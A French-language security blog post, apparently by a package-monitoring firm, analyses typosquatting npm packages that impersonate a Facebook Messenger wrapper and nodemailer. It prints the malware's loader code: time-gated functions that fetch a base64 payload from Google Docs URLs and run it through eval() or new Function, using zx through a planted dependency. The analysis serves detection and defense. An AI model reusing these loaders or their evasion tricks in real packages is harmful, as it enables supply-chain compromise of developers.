Le 14 mars 2025, nous avons détecté un paquet malveillant sur npm appelé node-facebook-messenger-api
. Au début, il semblait s'agir d'un logiciel malveillant assez banal, mais nous ne pouvions pas dire quel était l'objectif final. Nous n'y avons plus pensé jusqu'au 3 avril 2025, date à laquelle nous avons vu le même acteur de la menace étendre son attaque. Voici un bref aperçu des techniques utilisées par cet attaquant spécifique, et quelques observations amusantes sur la façon dont leurs tentatives d'obscurcissement aboutissent en fait à les rendre encore plus évidentes.
TLDR
node-facebook-messenger-api@4.1.0
déguisé en une enveloppe de messagerie Facebook légitime.axios
et eval()
pour extraire une charge utile d'un lien Google Docs - mais le fichier était vide.zx
pour éviter d'être détectés, en intégrant une logique malveillante qui se déclenche plusieurs jours après la publication.node-smtp-mailer@6.10.0
, usurpation d'identité nodemailer
avec la même logique C2 et le même obscurcissement.hyper-types
), révélant une modèle de signature de faire le lien avec les attentats.
Premiers pas
Tout a commencé le 14 mars à 04:37 UTC, lorsque nos systèmes nous ont alertés sur un paquet suspect. Il a été publié par l'utilisateur victor.ben0825
qui revendique également le nom de perusworld
. Il s'agit du nom d'utilisateur de l'utilisateur qui possède le fichier dépôt légitime pour cette bibliothèque.

Voici le code qu'il a détecté comme étant malveillant dans node-facebook-messenger-api@4.1.0 :
dans le fichier messenger.js
, ligne 157-177 :
const axios = require('axios');
const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
async function downloadFile(url) {
try {
const response = await axios.get(url, {
responseType: 'arraybuffer'
});
const fileBuffer = Buffer.from(response.data);
eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
return fileBuffer;
} catch (error) {
console.error('Download failed:', error.message);
}
}
downloadFile(url);
L'attaquant a essayé de cacher ce code dans un fichier de 769 lignes, ce qui est une grande classe. Ici, il a ajouté une fonction et l'appelle directement. Très mignon, mais aussi très évident. Nous avons tenté de récupérer la charge utile, mais elle était vide. Nous avons signalé qu'il s'agissait d'un logiciel malveillant et nous sommes passés à autre chose.
Quelques minutes plus tard, l'attaquant a poussé une autre version, 4.1.1. Le seul changement semble se situer au niveau de l'élément README.md
et package.json
où ils ont modifié la version, la description et les instructions d'installation. Étant donné que nous considérons l'auteur comme un mauvais auteur, les paquets à partir de ce moment ont été automatiquement signalés comme des logiciels malveillants.
Essayer d'être sournois
Puis, le 20 mars 2025 à 16:29 UTC, notre système a automatiquement signalé la version 4.1.2
du paquet. Voyons ce qu'il y a de nouveau. Le premier changement se trouve dans node-facebook-messenger-api.js,
qui contient
"use strict";
module.exports = {
messenger: function () {
return require('./messenger');
},
accountlinkHandler: function () {
return require('./account-link-handler');
},
webhookHandler: function () {
return require('./webhook-handler');
}
};
var messengerapi = require('./messenger');
La modification apportée à ce fichier est la dernière ligne. Il ne s'agit pas seulement d'importer le messenger.js
lorsqu'il est demandé, c'est maintenant toujours fait lorsque le module est importé. C'est astucieux ! L'autre changement concerne ce fichier, messenger.js.
Il a supprimé le code ajouté précédemment et a ajouté ce qui suit aux lignes 197 à 219 :
const timePublish = "2025-03-24 23:59:25";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function setProfile(ft) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(ft, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
//console.error('err:', error.message);
}
}
const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
setProfile(gd);
}
Voici un aperçu de ce qu'il fait :
- Il utilise un contrôle temporel pour déterminer s'il faut activer le code malveillant. Il ne s'active qu'environ 4 jours plus tard.
- Au lieu d'utiliser
axios
Il utilise désormais Googlezx
pour récupérer la charge utile malveillante. - Il désactive le mode verbeux, qui est également le mode par défaut.
- Il récupère ensuite le code malveillant
- Il le décode en base64
- Il crée une nouvelle fonction à l'aide de la fonction
Fonction()
qui est en fait équivalent à un constructeur deeval()
appel. - Il appelle ensuite la fonction, en lui transmettant
exiger
comme argument.
Mais là encore, lorsque nous essayons de récupérer le fichier, nous n'obtenons pas de charge utile. Nous obtenons juste un fichier vide appelé info.txt.
L'utilisation de zx
est curieux. Nous avons regardé les dépendances, et nous avons remarqué que le paquet original contenait quelques dépendances :
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Le paquet malveillant contient les éléments suivants :
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Regardez, ils ont ajouté les hyper-types de dépendance. Très intéressant, nous y reviendrons à plusieurs reprises.
Ils frappent encore !
Puis le 3 avril 2025 à 06:46, un nouveau paquet a été publié par l'utilisateur cristr.
Ils ont publié le paquet
node-smtp-mailer@6.10.0.
Nos systèmes l'ont automatiquement signalé parce qu'il contenait un code potentiellement malveillant. Nous l'avons regardé et nous avons été un peu excités. Le paquet prétend être nodemailer,
mais avec un nom différent.

Notre système a signalé le fichier lib/smtp-pool/index.js.
Nous constatons rapidement que l'attaquant a ajouté du code au bas du fichier légitime, juste avant la dernière ligne de commande. module.exports
. Voici ce qui est ajouté :
const timePublish = "2025-04-07 15:30:00";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function SMTPConfig(conf) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(conf, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
console.error('err:', error.message);
}
}
const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR';
SMTPConfig(url);
}
Nous connaissons ce code ! Il est à nouveau horodaté pour ne s'exécuter que 4 jours plus tard. Nous essayons avec enthousiasme de récupérer la charge utile, mais nous ne recevons qu'un fichier vide appelé débutant.txt.
Booo ! Nous regardons à nouveau les dépendances, pour voir comment elles sont prises en compte zx
. Nous avons noté que la légitime nodemailer
Le paquet a non direct dépendances
, seulement devDependencies
. Mais voici ce que contient le paquet malveillant :
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Voyez-vous une similitude entre ce paquet et le premier paquet que nous avons détecté ? Il s'agit de la même liste de dépendances. Le paquet légitime n'a pas de dépendances, mais le paquet malveillant en a. L'attaquant a simplement copié la liste complète des dépendances de la première attaque dans celle-ci.
Dépendances intéressantes
Alors pourquoi ont-ils abandonné l'utilisation de axios
à zx
pour l'élaboration HTTP
demandes ? Certainement pour éviter d'être détecté. Mais ce qui est intéressant, c'est que zx
n'est pas une dépendance directe. Au lieu de cela, l'attaquant a inclus hyper-types, qui est un paquetage légitime du développeur lukasbach.

Outre le fait que le dépôt référencé n'existe plus, il y a quelque chose d'intéressant à noter ici. Voyez comment il y a 2 personnes à charge
? Devinez de qui il s'agit.

Si l'attaquant avait réellement voulu essayer de dissimuler son activité, il est assez stupide de dépendre d'un paquet dont il est le seul dépendant.
Derniers mots
Bien que l'attaquant à l'origine de ces paquets npm n'ait finalement pas réussi à livrer une charge utile fonctionnelle, sa campagne met en évidence l'évolution constante des menaces de la chaîne d'approvisionnement ciblant l'écosystème JavaScript. Le recours à l'exécution différée, aux importations indirectes et au détournement de dépendances témoigne d'une prise de conscience croissante des mécanismes de détection et d'une volonté d'expérimentation. Mais cela montre également que la sécurité opérationnelle négligée et les schémas répétitifs peuvent encore les trahir. Pour les défenseurs, il s'agit d'un rappel que même les attaques ratées constituent des renseignements précieux. Chaque artefact, chaque astuce d'obscurcissement et chaque dépendance réutilisée nous aide à développer de meilleures capacités de détection et d'attribution. Et surtout, cela renforce la raison pour laquelle la surveillance continue et le signalement automatisé des registres de paquets publics ne sont plus facultatifs, mais essentiels.